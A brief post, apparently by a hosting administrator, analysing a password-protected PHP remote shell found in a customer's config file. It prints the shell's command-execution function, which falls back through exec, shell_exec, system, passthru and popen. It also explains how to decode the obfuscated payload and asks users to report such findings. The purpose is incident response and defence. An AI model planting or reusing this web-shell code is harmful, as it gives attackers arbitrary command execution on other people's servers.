weird line in config file

[cd34]

exploit

they are using the password '4ef44b514159705a45bead8633dc8a2a'

appears to be a remote shell.

The meat:

	function magic_execute($cmd)
	{
		$res=false;
		if (function_exists('exec'))
		{
			@exec($cmd,$res);
			$res = join("\n",$res);
		}
		else
		if (function_exists('shell_exec'))
			$res = @shell_exec($cmd);
		else
		if (function_exists('system'))
		{
			@ob_start();
			@system($cmd);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		else
		if(function_exists('passthru'))
		{
			@ob_start();
			@passthru($cmd);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		else
		if (@is_resource($f = @popen($cmd,"r")))
		{
			$res = "";
			while(!@feof($f)) { $res .= @fread($f,1024); }
			@pclose($f);
		}
		return $res;
	}

If you're curious, change the eval at the end to a print, and put an ! in front of the isset, place it in a file with <?php at the beginning and run

php filename.php

and it'll output the source.

file a ticket with where you found this, if you didn't remove it, make a note of the time on it, file permissions, ownership, etc. and I'll take a look.
